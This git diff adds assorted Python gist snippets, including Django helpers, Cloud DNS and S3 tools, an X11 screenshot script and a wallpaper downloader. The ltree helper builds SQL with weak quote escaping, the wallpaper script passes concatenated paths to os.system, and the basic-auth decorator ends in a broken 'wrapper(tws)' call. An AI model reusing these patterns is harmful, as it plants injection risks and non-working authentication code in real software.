+            if isinstance(prop, (ndb.DateTimeProperty, ndb.DateProperty,
+                ndb.TimeProperty)):
+                if prop._repeated:
+                    val = [from_epoch(v) for v in val]
+                else:
+                    val = from_epoch(val)
+            if isinstance(prop, ndb.BlobKeyProperty):
+                if prop._repeated:
+                    val = [ndb.BlobKey(urlsafe=v) for v in val]
+                else:
+                    val = ndb.BlobKey(urlsafe=val)
+            if isinstance(prop, ndb.KeyProperty):
+                if prop._repeated:
+                    val = [ndb.Key(urlsafe=v) for v in val]
+                else:
+                    val = ndb.Key(urlsafe=val)
+            if isinstance(prop, ndb.BlobProperty):
+                pass
+            _result[key] = val
+        return _result
+    return cls(**_decode({}, value))
+
+
+def entity_from_json(cls, value):
+    """
+    Deserializes a json str to an instance of an `ndb.Model` subclass.
+
+        :param cls: `ndb.Model` subclass.
+        :param value:
+    """
+    value = loads(value, strict=False)
+    if isinstance(value, list):
+        result = [entity_from_dict(cls, v) for v in value]
+    else:
+        result = entity_from_dict(cls, value)
+    return result
diff --git a/hard-gists/4727690/._snippet.py b/hard-gists/4727690/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4727690/._snippet.py differ
diff --git a/hard-gists/4727690/snippet.py b/hard-gists/4727690/snippet.py
new file mode 100644
index 00000000..cfca6294
--- /dev/null
+++ b/hard-gists/4727690/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+
+import json
+import os
+import time
+
+import clouddns
+
+USERNAME = ''
+APIKEY   = ''
+DIRECTORY = ''
+
+dns = clouddns.connection.Connection(USERNAME, APIKEY)
+domains = dns.get_domains()
+
+DIRECTORY = os.path.expanduser(DIRECTORY)
+if not os.path.exists(DIRECTORY):
+    os.makedirs(DIRECTORY)
+
+for domain in domains:
+    finished = False
+    response = json.loads(dns.make_request('GET', ["domains", domain.id, "export"]).read())
+    try:
+        status = response['callbackUrl'].split('/')[-2:]
+    except KeyError as e:
+        print response
+
+    # Prevent rate-limiting
+    time.sleep(5)
+
+    while not finished:
+        try:
+            records = json.loads(dns.make_request('GET', status, parms = {'showDetails': "true"}).read())['response']['contents']
+            filename = os.path.join(DIRECTORY, "%s.bind9" % domain.name)
+            print "Creating %s" % filename
+            with open(filename, 'w') as f:
+                f.write(records)
+        except KeyError as e:
+            print "Request is still running for %s, retrying..." % domain.name
+            time.sleep(5)
+        else:
+            finished = True
\ No newline at end of file
diff --git a/hard-gists/4727865/._snippet.py b/hard-gists/4727865/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4727865/._snippet.py differ
diff --git a/hard-gists/4727865/snippet.py b/hard-gists/4727865/snippet.py
new file mode 100644
index 00000000..717a0d15
--- /dev/null
+++ b/hard-gists/4727865/snippet.py
@@ -0,0 +1,45 @@
+import operator
+from django.db.models import Q
+from django_filters import CharFilter
+
+
+class MultiFieldFilter(CharFilter):
+    """
+    This filter preforms an OR query on the defined fields from a
+    single entered value.
+    
+    The following will work similar to the default UserAdmin search::
+    
+        class UserFilterSet(FilterSet):
+            search = MultiFieldFilter(['username', 'first_name',
+                                       'last_name', 'email'])
+            class Meta:
+                model = User
+                fields = ['search']
+    """
+    
+    def __init__(self, fields, *args, **kwargs):
+        super(MultiFieldFilter, self).__init__(*args, **kwargs)
+        self.fields = fields
+        self.lookup_type = 'icontains'
+        self.lookup_types = [
+            ('^', 'istartswith'),
+            ('=', 'iexact'),
+            ('@', 'search'),
+        ]
+    
+    def filter(self, qs, value):
+        if not self.fields or not value:
+            return qs
+        
+        lookups = [self._get_lookup(str(field)) for field in self.fields]
+        queries = [Q(**{lookup: value}) for lookup in lookups]
+        qs = qs.filter(reduce(operator.or_, queries))
+        return qs
+    
+    def _get_lookup(self, field_name):
+        for key, lookup_type in self.lookup_types:
+            if field_name.startswith(key):
+                return "%s__%s" % (field_name[len(key):], lookup_type)
+        return "%s__%s" % (field_name, self.lookup_type)
+
diff --git a/hard-gists/472922/._snippet.py b/hard-gists/472922/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/472922/._snippet.py differ
diff --git a/hard-gists/472922/snippet.py b/hard-gists/472922/snippet.py
new file mode 100644
index 00000000..6312e3cb
--- /dev/null
+++ b/hard-gists/472922/snippet.py
@@ -0,0 +1,80 @@
+# -*- coding: utf-8 -*-
+
+from django.db import models
+
+
+class LtreeField(models.CharField):
+    """Field implementation of PostgreSQL ltree type"""
+
+    def __init__(self, *args, **kwds):
+        super(LtreeField, self).__init__(max_length=128, *args, **kwds)
+    
+    def db_type(self, connection):
+        engine = connection.settings_dict['ENGINE']
+        if 'postgresql' not in engine:
+            # TODO - better database check
+            raise TypeError("ltree is PostgreSQL specific type")
+        return 'ltree'
+
+
+class LtreeHelper(object):
+    ATTR_OPERATOR_MAP = (
+        ('startswith', '<@'),
+        ('atmost', '@>'),
+        ('like', '~'),
+    )
+    def __init__(self, manager):
+        self.manager = manager
+        self.ltree_field = None
+
+    def prepare(self):
+        if self.ltree_field:
+            return
+        for field in self.manager.model._meta.fields:
+            if isinstance(field, LtreeField):
+                self.ltree_field = field
+                break
+        if self.ltree_field is None:
+            raise TypeError("LtreeManager is available only for tables "
+                    "containing PostgreSQL ltree type column")
+        self.sql_lookup_mapping = {}
+        for suffix, operator in self.ATTR_OPERATOR_MAP:
+            attr_name = '%s__%s' % (self.ltree_field.name, suffix)
+            self.sql_lookup_mapping[attr_name] = operator
+
+    def sql_lookup_prepare_value(self, value):
+        value = value.replace("'", "\\'")
+        return "'%s'" % value
+
+    def to_sql(self, lookup_token, value):
+        operator = self.sql_lookup_mapping.get(lookup_token, None)
+        if operator is None:
+            lookup_name = lookup_token.split('__', 1)[1]
+            raise TypeError("Lookup token no supported: %s" % lookup_name)
+        value = self.sql_lookup_prepare_value(value)
+        return "%s %s %s" % (self.ltree_field.name, operator, value)
+
+
+class LtreeManager(models.Manager):
+        
+    def __init__(self, *args, **kwds):
+        self._ltree = LtreeHelper(self)
+        super(LtreeManager, self).__init__(*args, **kwds)
+
+    def filter(self, *args, **kwds):
+        # TODO: -  better LtreeHelper initialization would be nice
+        self._ltree.prepare()
+        ltree_token = '%s__' % self._ltree.ltree_field.name
+        ltree_kwds = {}
+        # check all kwds and remove those related to ltree
+        for lookup_token, value in kwds.items():
+            if lookup_token.startswith(ltree_token):
+                kwds.pop(lookup_token)
+                ltree_kwds[lookup_token] = value
+        # create query_set, withoult ltree related arguments
+        query_set = super(LtreeManager, self).filter(*args, **kwds)
+        where = []
+        # create additional where statement, related to given ltree params
+        for name, value in ltree_kwds.iteritems():
+            where.append(self._ltree.to_sql(name, value))
+        return query_set.extra(where=where)
diff --git a/hard-gists/4730736/._snippet.py b/hard-gists/4730736/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4730736/._snippet.py differ
diff --git a/hard-gists/4730736/snippet.py b/hard-gists/4730736/snippet.py
new file mode 100644
index 00000000..65a1dcaf
--- /dev/null
+++ b/hard-gists/4730736/snippet.py
@@ -0,0 +1,88 @@
+import sys
+import logging
+from pyramid.compat import configparser
+from pyramid.util import DottedNameResolver
+from pyramid.paster import bootstrap
+
+# pshellintellij uses first two arguments as ports to connect shell
+if len(sys.argv) > 3:
+    config_file = sys.argv[3]
+else:
+    config_file = 'development.ini'
+
+bootstrap = (bootstrap,)
+config = configparser.ConfigParser()
+config.read(config_file)
+
+resolver = DottedNameResolver(None)
+loaded_objects = {}
+object_help = {}
+setup = None
+
+try:
+    items = config.items('pshell')
+    for k, v in items:
+        if k == 'setup':
+            setup = v
+        else:
+            loaded_objects[k] = resolver.maybe_resolve(v)
+            object_help[k] = v
+except configparser.NoSectionError:
+    pass
+
+# use #main section by default
+config_uri = config_file
+
+# bootstrap the environ
+env = bootstrap[0](config_uri)
+
+# remove the closer from the env
+closer = env.pop('closer')
+
+# setup help text for default environment
+env_help = dict(env)
+env_help['app'] = 'The WSGI application.'
+env_help['root'] = 'Root of the default resource tree.'
+env_help['registry'] = 'Active Pyramid registry.'
+env_help['request'] = 'Active request object.'
+env_help['root_factory'] = (
+    'Default root factory used to create `root`.')
+
+if setup:
+    # store the env before muddling it with the script
+    orig_env = env.copy()
+    # call the setup callable
+    resolver = DottedNameResolver(None)
+    setup = resolver.maybe_resolve(setup)
+    setup(env)
+    # remove any objects from default help that were overridden
+    for k, v in env.items():
+        if k not in orig_env or env[k] != orig_env[k]:
+            env_help[k] = v
+
+# load the pshell section of the ini file
+env.update(loaded_objects)
+
+# eliminate duplicates from env, allowing custom vars to override
+for k in loaded_objects:
+    if k in env_help:
+        del env_help[k]
+
+locals().update(env)
+
+# log sqlalchemy queries
+logging.basicConfig()
+logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
+
+# generate help text
+help = ''
+if env_help:
+    help += 'Environment:'
+    for var in sorted(env_help.keys()):
+        help += '\n  %-12s %s' % (var, env_help[var])
+if object_help:
+    help += '\n\nCustom Variables:'
+    for var in sorted(object_help.keys()):
+        help += '\n  %-12s %s' % (var, object_help[var])
+print(help)
+del env_help, help, resolver, closer, loaded_objects, object_help, setup, bootstrap
diff --git a/hard-gists/4732233/._snippet.py b/hard-gists/4732233/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4732233/._snippet.py differ
diff --git a/hard-gists/4732233/snippet.py b/hard-gists/4732233/snippet.py
new file mode 100644
index 00000000..258092d8
--- /dev/null
+++ b/hard-gists/4732233/snippet.py
@@ -0,0 +1,32 @@
+import base64
+
+from django.http import HttpResponse
+from django.contrib.auth import authenticate
+from django.conf import settings
+
+
+def view_or_basicauth(view, request, *args, **kwargs):
+    # Check for valid basic auth header
+    if 'HTTP_AUTHORIZATION' in request.META:
+        auth = request.META['HTTP_AUTHORIZATION'].split()
+        if len(auth) == 2:
+            if auth[0].lower() == "basic":
+                uname, passwd = base64.b64decode(auth[1]).split(':')
+                user = authenticate(username=uname, password=passwd)
+                if user is not None and user.is_active:
+                    request.user = user
+                    return view(request, *args, **kwargs)
+
+    # Either they did not provide an authorization header or
+    # something in the authorization attempt failed. Send a 401
+    # back to them to ask them to authenticate.
+    response = HttpResponse()
+    response.status_code = 401
+    response['WWW-Authenticate'] = 'Basic realm="%s"' % settings.BASIC_AUTH_REALM
+    return response
+
+
+def basicauth(view_func):
+    def wrapper(request, *args, **kwargs):
+        return view_or_basicauth(view_func, request, *args, **kwargs)
+    return wrapper(tws)
\ No newline at end of file
diff --git a/hard-gists/4732790/._snippet.py b/hard-gists/4732790/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4732790/._snippet.py differ
diff --git a/hard-gists/4732790/snippet.py b/hard-gists/4732790/snippet.py
new file mode 100644
index 00000000..7553cafa
--- /dev/null
+++ b/hard-gists/4732790/snippet.py
@@ -0,0 +1,75 @@
+from PySide import QtGui
+
+class CustomSortFilterProxyModel(QtGui.QSortFilterProxyModel):
+    """
+    Implements a QSortFilterProxyModel that allows for custom
+    filtering. Add new filter functions using addFilterFunction().
+    New functions should accept two arguments, the column to be
+    filtered and the currently set filter string, and should
+    return True to accept the row, False otherwise.
+
+    Filter functions are stored in a dictionary for easy
+    removal by key. Use the addFilterFunction() and 
+    removeFilterFunction() methods for access.
+
+    The filterString is used as the main pattern matching
+    string for filter functions. This could easily be expanded
+    to handle regular expressions if needed.
+    """
+    def __init__(self, parent=None):
+        super(CustomSortFilterProxyModel, self).__init__(parent)
+        self.filterString = ''
+        self.filterFunctions = {} 
+
+    def setFilterString(self, text):
+        """
+        text : string
+            The string to be used for pattern matching.
+        """
+        self.filterString = text.lower()
+        self.invalidateFilter()
+
+    def addFilterFunction(self, name, new_func):
+        """
+        name : hashable object
+            The object to be used as the key for
+            this filter function. Use this object
+            to remove the filter function in the future.
+            Typically this is a self descriptive string.
+
+        new_func : function
+            A new function which must take two arguments,
+            the row to be tested and the ProxyModel's current
+            filterString. The function should return True if
+            the filter accepts the row, False otherwise.
+
+            ex:
+            model.addFilterFunction(
+                'test_columns_1_and_2',
+                lambda r,s: (s in r[1] and s in r[2]))
+        """
+        self.filterFunctions[name] = new_func
+        self.invalidateFilter()
+
+    def removeFilterFunction(self, name):
+        """
+        name : hashable object
+        
+        Removes the filter function associated with name,
+        if it exists.
+        """
+        if name in self.filterFunctions.keys():
+            del self.filterFunctions[name]
+            self.invalidateFilter()
+
+    def filterAcceptsRow(self, row_num, parent):
+        """
+        Reimplemented from base class to allow the use
+        of custom filtering.
+        """
+        model = self.sourceModel()
+        # The source model should have a method called row()
+        # which returns the table row as a python list.
+        tests = [func(model.row(row_num), self.filterString)
+                 for func in self.filterFunctions.values()]
+        return not False in tests
diff --git a/hard-gists/4741790/._snippet.py b/hard-gists/4741790/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4741790/._snippet.py differ
diff --git a/hard-gists/4741790/snippet.py b/hard-gists/4741790/snippet.py
new file mode 100644
index 00000000..4901d62d
--- /dev/null
+++ b/hard-gists/4741790/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+"""
+An example demonstrating how to use xpyb (xcb bindings for Python) to take a
+full-screen screenshot.
+"""
+
+# Meta
+__version__ = '1.0'
+__version_info__ = (1, 0)
+__license__ = "Apache 2.0"
+__author__ = 'Dan McDougall <daniel.mcdougall@liftoffsoftware.com>'
+
+# Stdlib imports
+import sys, os
+
+# 3rd party imports
+import xcb, xcb.xproto
+import Image # PIL (I also recommend Pillow which is 100% compatible with PIL)
+
+def xcb_screenshot_full(conn, path="/tmp/screenshot.png"):
+    """
+    Given an XCB connection (*conn*), saves a full-screen screenshot to *path*.
+    """
+    # XCB boilerplate stuff:
+    setup = conn.get_setup()
+    screen = setup.roots[0]
+    width = screen.width_in_pixels
+    height = screen.height_in_pixels
+    root = screen.root
+    # GetImage requires an output format as the first arg.  We want ZPixmap:
+    output_format = xcb.xproto.ImageFormat.ZPixmap
+    plane_mask = 2**32 - 1 # No idea what this is but it works!
+    reply = conn.core.GetImage(
+        output_format, root, 0, 0, width, height, plane_mask).reply()
+    # The reply contains the image data in ZPixmap format.  We need to convert
+    # it into something PIL can use:
+    image_data = reply.data.buf()
+    im = Image.frombuffer(
+        "RGBX", (width, height), image_data, "raw", "BGRX").convert("RGB")
+    with open(path, 'w') as f:
+        im.save(f, format='png')
+
+if __name__ == "__main__":
+    x11_display = os.environ['DISPLAY']
+    print("Taking screenshot...")
+    try:
+        conn = xcb.connect(display=x11_display)
+        xcb_screenshot_full(conn)
+    except Exception as e:
+        print("Got an exception trying to take a screenshot!")
+        print("This might be helpful:")
+        print(e)
+        import traceback
+        traceback.print_exc(file=sys.stdout)
+        sys.exit(1)
+    sys.exit(0)
\ No newline at end of file
diff --git a/hard-gists/4742296/._snippet.py b/hard-gists/4742296/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4742296/._snippet.py differ
diff --git a/hard-gists/4742296/snippet.py b/hard-gists/4742296/snippet.py
new file mode 100644
index 00000000..13f1170a
--- /dev/null
+++ b/hard-gists/4742296/snippet.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+#
+# Unwrap the data from the Data API, and make a couple of plots.
+# 1) Plot of volume and latency
+# 2) Plot of scalability of the current application
+#
+# Assumes data from the week-long view (i.e., 4-hour chunks of data). If this
+# isn't true, the labels will be wrong.
+#
+# Try running it like this:
+#     API_KEY=YOUR_API_KEY
+#     curl "https://api.tracelytics.com/api-v1/latency/Default/server/series?key=$API_KEY&time_window=week" | python extract.py
+import sys
+import simplejson as json
+from pylab import *
+from datetime import datetime
+
+def main():
+    data = ''.join(sys.stdin.readlines())
+    rows = [r for r in json.loads(data)['data'] if r[2]] # Only plot valid data
+    columns = transpose(rows)
+
+    # Format
+    dates = [datetime.utcfromtimestamp(v) for v in columns[0]]
+    traffic = [v / 4 for v in columns[1]]
+    times = [v / 1000 for v in columns[2]]
+
+    # Latency and Volume
+    figure()
+    subplot(2, 1, 1)
+    plot(dates, traffic)
+    title('Volume (# of requests)')
+    subplot(2, 1, 2)
+    plot(dates, times)
+    title('Latency (ms)')
+
+    # Latency vs. Volume
+    figure()
+    plot(traffic, times, '*')
+    title('Capacity')
+    xlabel('Volume (# of requests / hour)')
+    ylabel('Latency (ms)')
+
+    # Display all
+    show()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4745061/._snippet.py b/hard-gists/4745061/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4745061/._snippet.py differ
diff --git a/hard-gists/4745061/snippet.py b/hard-gists/4745061/snippet.py
new file mode 100644
index 00000000..b02eb7e5
--- /dev/null
+++ b/hard-gists/4745061/snippet.py
@@ -0,0 +1,9 @@
+import urllib.request
+import json
+
+url = 'http://api.icndb.com/jokes/random?limitTo=[nerdy]'
+
+resp = urllib.request.urlopen(url).read()
+data = json.loads(resp.decode('utf-8'))
+
+print (data['value']['joke'])
diff --git a/hard-gists/4760272/._snippet.py b/hard-gists/4760272/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4760272/._snippet.py differ
diff --git a/hard-gists/4760272/snippet.py b/hard-gists/4760272/snippet.py
new file mode 100644
index 00000000..2c9c38bb
--- /dev/null
+++ b/hard-gists/4760272/snippet.py
@@ -0,0 +1,184 @@
+"""A notebook manager that uses S3 storage. (based on the Azure manager)
+http://ipython.org/ipython-doc/dev/interactive/htmlnotebook.html#using-a-different-notebook-store
+
+Drop this file in IPython/frontend/html/notebook
+
+1. Create a new notebook profile - ipython profile create nbserver
+2. edit ~/.ipython/profile_nbserver/ipython_notebook_config.py
+3. Add these lines:
+
+    c.NotebookApp.notebook_manager_class = 'IPython.frontend.html.notebook.s3nbmanager.S3NotebookManager'
+    c.S3NotebookManager.aws_access_key_id     = u""
+    c.S3NotebookManager.aws_secret_access_key = u""
+    c.S3NotebookManager.bucket = u'<unique bucket name>'
+
+4. Start with `ipython notebook --profile=nbserver`
+
+Authors:
+* Bradley Kreider
+* Brian Granger
+"""
+
+#-----------------------------------------------------------------------------
+#  Copyright (C) 2012  The IPython Development Team
+#
+#  Distributed under the terms of the BSD License.  The full license is in
+#  the file COPYING, distributed as part of this software.
+#-----------------------------------------------------------------------------
+
+#-----------------------------------------------------------------------------
+# Imports
+#-----------------------------------------------------------------------------
+
+import datetime
+
+import boto
+from boto.s3.key import Key
+from boto.s3.connection import S3Connection
+
+from tornado import web
+
+from .nbmanager import NotebookManager
+from IPython.nbformat import current
+from IPython.utils.traitlets import Unicode, Instance
+
+
+#-----------------------------------------------------------------------------
+# Classes
+#-----------------------------------------------------------------------------
+
+class S3NotebookManager(NotebookManager):
+
+    aws_access_key_id = Unicode('', config=True, help='AWS access key.')
+    aws_secret_access_key = Unicode('', config=True, help='AWS S3 storage account key.')
+    bucket = Unicode('', config=True, help='Bucket name for notebooks.')
+    
+    meta_nbname = "nbname"
+
+    def __init__(self, **kwargs):
+        super(S3NotebookManager, self).__init__(**kwargs)
+        self.__s3_conn = None
+        self.log_info()
+        
+        # Form unique bucket using access key + bucket name
+        # Wanted to add access_key to this but lower() isn't working
+        self.__bucket_name = self.bucket  
+        self.__create_container()
+        
+    @property
+    def s3_conn(self):
+        """Lazy initialize"""
+        if not self.__s3_conn:
+            self.__s3_conn  = S3Connection(aws_access_key_id = self.aws_access_key_id,
+                                           aws_secret_access_key = self.aws_secret_access_key)
+        return self.__s3_conn
+
+    def __create_container(self):
+        if not self.s3_conn.lookup(self.__bucket_name):
+            self.s3_conn.create_bucket(self.__bucket_name)
+
+    def load_notebook_names(self):
+        """On startup load the notebook ids and names from S3
+        """
+        self.mapping = {}
+        bucket = self.s3_conn.get_bucket(self.__bucket_name)
+        
+        for item in bucket:
+            id_ = item.name
+            
+            # bug in boto doesn't load metadata
+            # Force metadata load with get_key
+            item = bucket.get_key(id_)
+            name =  item.get_metadata(self.meta_nbname)
+            
+            if name:
+                self.mapping[id_] = name
+            else:
+                self.log.info(name)
+                self.log.info(item.metadata)
+                self.log.info("Skipping over S3 file with no ipython name: %s" % (id_,))
+            
+    def list_notebooks(self):
+        """List all notebooks in the container.
+
+        This version uses `self.mapping` as the authoritative notebook list.
+        """
+        try:
+            data = [dict(notebook_id=item[0],name=item[1]) for item in self.mapping.items()]
+            data = sorted(data, key=lambda item: item['name'])
+        except Exception as e:
+            self.log.info("Problem sorting, this is the mapping: %s" % (self.mapping.items()))
+            raise
+        
+        return data
+
+    def read_notebook_object(self, notebook_id):
+        """Get the object representation of a notebook by notebook_id."""
+        if not self.notebook_exists(notebook_id):
+            raise web.HTTPError(404, u'Notebook does not exist: %s' % notebook_id)
+        try:
+            # v1 and v2 and json in the .ipynb files.
+            bucket = self.s3_conn.get_bucket(self.__bucket_name)
+            k = Key(bucket)
+            k.key = notebook_id
+            data = k.get_contents_as_string()
+            #self.log.info("downloaded contents: %s" % (data,))
+        except:
+            raise web.HTTPError(500, u'Couldn\'t pull out of s3.')
+            
+        try:
+            nb = current.reads(data, u'json')
+        except:
+            raise web.HTTPError(500, u'Unreadable JSON notebook.')
+        # Todo: The last modified should actually be saved in the notebook document.
+        # We are just using the current datetime until that is implemented.
+        last_modified = datetime.datetime.utcnow()
+        return last_modified, nb
+
+    def write_notebook_object(self, nb, notebook_id=None):
+        """Save an existing notebook object by notebook_id."""
+        try:
+            new_name = nb.metadata.name
+        except AttributeError:
+            raise web.HTTPError(400, u'Missing notebook name')
+
+        if notebook_id is None:
+            notebook_id = self.new_notebook_id(new_name)
+
+        if notebook_id not in self.mapping:
+            raise web.HTTPError(404, u'Notebook does not exist: %s' % notebook_id)
+
+        try:
+            data = current.writes(nb, u'json')
+        except Exception as e:
+            raise web.HTTPError(400, u'Unexpected error while saving notebook: %s' % e)
+
+        try:
+            bucket = self.s3_conn.get_bucket(self.__bucket_name)
+            key = Key(bucket)
+            key.key = notebook_id
+            key.set_metadata(self.meta_nbname, new_name)
+            #self.log.info("Setting contents to: %s" % (data,))
+            key.set_contents_from_string(data)
+        except Exception as e:
+            raise web.HTTPError(400, u'Unexpected error while saving notebook: %s' % e)
+
+        self.mapping[notebook_id] = new_name
+        return notebook_id
+
+    def delete_notebook(self, notebook_id):
+        """Delete notebook by notebook_id."""
+        if not self.notebook_exists(notebook_id):
+            raise web.HTTPError(404, u'Notebook does not exist: %s' % notebook_id)
+        try:
+            bucket = self.s3_conn.get_bucket(self.__bucket_name)
+            k = Key(bucket)
+            k.key = notebook_id
+            k.delete()
+        except Exception as e:
+            raise web.HTTPError(400, u'Unexpected error while deleting notebook: %s' % e)
+        else:
+            self.delete_notebook_id(notebook_id)
+
+    def log_info(self):
+        self.log.info("Serving notebooks from S3 storage: %s, %s", self.aws_access_key_id, self.bucket)
diff --git a/hard-gists/47610e6462faba8781242cdb6218d83e/._snippet.py b/hard-gists/47610e6462faba8781242cdb6218d83e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/47610e6462faba8781242cdb6218d83e/._snippet.py differ
diff --git a/hard-gists/47610e6462faba8781242cdb6218d83e/snippet.py b/hard-gists/47610e6462faba8781242cdb6218d83e/snippet.py
new file mode 100644
index 00000000..99dcfa36
--- /dev/null
+++ b/hard-gists/47610e6462faba8781242cdb6218d83e/snippet.py
@@ -0,0 +1,48 @@
+import urllib2
+import cv2
+from bs4 import BeautifulSoup
+import os
+
+
+def download_NASA_APOD_wallpaper(save_path, width=1366, height=768):
+    browser = urllib2.urlopen("http://apod.nasa.gov/apod/astropix.html")
+    html = BeautifulSoup(browser.read())
+    browser.close()
+    image_link = "http://apod.nasa.gov/apod/" + \
+        html.find("img").parent.get("href")
+    image_name = image_link.split("/")[-1]
+    store_path = os.path.dirname(save_path) + "/" + image_name
+
+    if os.path.isfile(store_path):
+        return
+
+    browser = urllib2.urlopen(image_link)
+    image_file = open(save_path, "wb")
+    image_file.write(browser.read())
+    image_file.close()
+    browser.close()
+
+    img = cv2.imread(save_path)
+    rows, cols, _ = img.shape
+    if (float(cols) / rows) < (float(width) / height):
+        img = cv2.resize(img, (width, int(float(width) / cols * rows)))
+        cut = img.shape[0] - height
+        img = img[int(cut / 2):(int(cut / 2) + height), :, :]
+    else:
+        img = cv2.resize(img, (int(float(height) / rows * cols), height))
+        cut = img.shape[1] - width
+        img = img[:, int(cut / 2):(int(cut / 2) + width), :]
+
+    cv2.imwrite(save_path, img)
+    os.system("cp \"" + save_path + "\" \"" + store_path + "\"")
+    os.system("cp \"" + save_path + "\" ~/.xmonad/Wallpaper.jpg")
+    os.system("cp \"" + save_path + "\" ~/Pictures/Wallpaper.jpg")
+    os.system("feh --bg-scale ~/Pictures/Wallpaper.jpg")
+    os.system("gsettings set com.canonical.unity-greeter background " +
+              "'~/Pictures/Wallpaper.jpg'")
+    os.system("gsettings set org.gnome.desktop.background picture-uri " +
+              "'file:///~/Pictures/Wallpaper.jpg'")
+
+
+if __name__ == "__main__":
+    download_NASA_APOD_wallpaper("~/Pictures/APOD/Wallpaper.jpg")
\ No newline at end of file
diff --git a/hard-gists/4761479/._snippet.py b/hard-gists/4761479/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4761479/._snippet.py differ
diff --git a/hard-gists/4761479/snippet.py b/hard-gists/4761479/snippet.py
new file mode 100644
index 00000000..47f570fd
--- /dev/null
+++ b/hard-gists/4761479/snippet.py
@@ -0,0 +1,43 @@
+import atexit
+import subprocess
+from django.core.management.commands.runserver import BaseRunserverCommand
+from django.core.servers.basehttp import AdminMediaHandler
+from django.conf import settings
+
+# Patch runserver to run the sass and coffeesscript compilers automatically
+class Command(BaseRunserverCommand):
+    active_processes = []
+
+    def _run_shell_cmd(self, cmd):
+        print "Running command: %s" % cmd
+        proc = subprocess.Popen(
+            [cmd],
+            shell=True,
+            stdin=subprocess.PIPE,
+            stdout=self.stdout,
+            stderr=self.stderr
+        )
+        self.active_processes.append(proc)
+
+    def get_handler(self, *args, **options):
+        """
+        Serves admin media like old-school (deprecation pending).
+        """
+        handler = super(Command, self).get_handler(*args, **options)
+        return AdminMediaHandler(handler, options.get('admin_media_path'))
+
+    def inner_run(self, *args, **options):
+        static_dir = settings.STATIC_ROOT.replace(settings.PROJECT_PATH + "/", "") + "/"
+        self._run_shell_cmd("sass --watch %ssass:%scss" % (static_dir, static_dir))
+        self._run_shell_cmd("coffee --watch --output %sjs/ --compile %scoffee/" % (static_dir, static_dir))
+        super(Command, self).inner_run(*args, **options)
+
+    # NOTE: This process kills sass and coffee script when either the runserver command
+    # is closed in the terminal or it's reloaded by a code change
+    def exit(self):
+        for proc in self.active_processes:
+            proc.terminate()
+
+    def __init__(self, *args, **kwargs):
+        atexit.register(self.exit)
+        return super(Command, self).__init__(*args, **kwargs)
diff --git a/hard-gists/4776b4b2075bf9b7e512/._snippet.py b/hard-gists/4776b4b2075bf9b7e512/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4776b4b2075bf9b7e512/._snippet.py differ
diff --git a/hard-gists/4776b4b2075bf9b7e512/snippet.py b/hard-gists/4776b4b2075bf9b7e512/snippet.py
new file mode 100644
index 00000000..25bc8865
--- /dev/null
+++ b/hard-gists/4776b4b2075bf9b7e512/snippet.py
@@ -0,0 +1,42 @@
+from Foundation import NSKeyedUnarchiver
+from struct import unpack
+
+# This entire function is black magic of the highest order and I'll blog about it later
+def extract_share(bookmark_data):
+    content_offset, = unpack('I', bookmark_data[12:16])
+    first_TOC, = unpack('I', bookmark_data[content_offset:content_offset+4])
+    first_TOC += content_offset
+    TOC_len, rec_type, level, next_TOC, record_count = unpack('IIIII', bookmark_data[first_TOC:first_TOC+20])
+    TOC_cursor = first_TOC + 20
+    record_offsets = {}
+    for i in range(record_count):
+        record_id, offset = unpack('<IQ', bookmark_data[TOC_cursor:TOC_cursor+12])
+        record_offsets[record_id] = offset + content_offset
+        TOC_cursor += 12
+    mount_record = record_offsets.get(0x2050, None)
+    # Check to see if we actually had a volMountURL record
+    if mount_record is not None:
+        mount_length, rec_type = unpack('II', bookmark_data[mount_record:mount_record+8])
+        mount_record += 8
+        mount_URL = (bookmark_data[mount_record:mount_record+mount_length]).decode('utf-8')
+        return mount_URL
+    else:
+        return None
+
+def get_recentservers(sfl_file_path):
+    # Read the com.apple.LSSharedFileList.RecentServers.sfl file (located in ~/Library/Application Support/com.apple.sharedfilelist on 10.11+)
+    with open(sfl_file_path, 'rb') as f:
+        raw_data = f.read()
+    # It's NSKeyedArchiver data - let's decode it!
+    recent_servers = NSKeyedUnarchiver.unarchiveObjectWithData_(buffer(raw_data))
+    # Build an empty set
+    server_URLs = []
+    # Add in our discovered server URLs from the SFLListItems and return in 'SFLListItem.order' order
+    for x in sorted(recent_servers['items'], lambda y,_: int(y.order())):
+        url = extract_share(x.bookmark()[:].tobytes())
+        if url is not None:
+            server_URLs.append(url)
+    return server_URLs
+
+# Example usage:
+# get_recentservers('com.apple.LSSharedFileList.RecentServers.sfl')
\ No newline at end of file
diff --git a/hard-gists/477969/._snippet.py b/hard-gists/477969/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/477969/._snippet.py differ
diff --git a/hard-gists/477969/snippet.py b/hard-gists/477969/snippet.py
new file mode 100644
index 00000000..9517fd4b
--- /dev/null
+++ b/hard-gists/477969/snippet.py
@@ -0,0 +1,9 @@
+"""                                                                                 
+%prog some.fasta wanted-list.txt                                                    
+"""                                                                                 
+from Bio import SeqIO                                                               
+import sys                                                                          
+                                                                                    
+wanted = [line.strip() for line in open(sys.argv[2])]                               
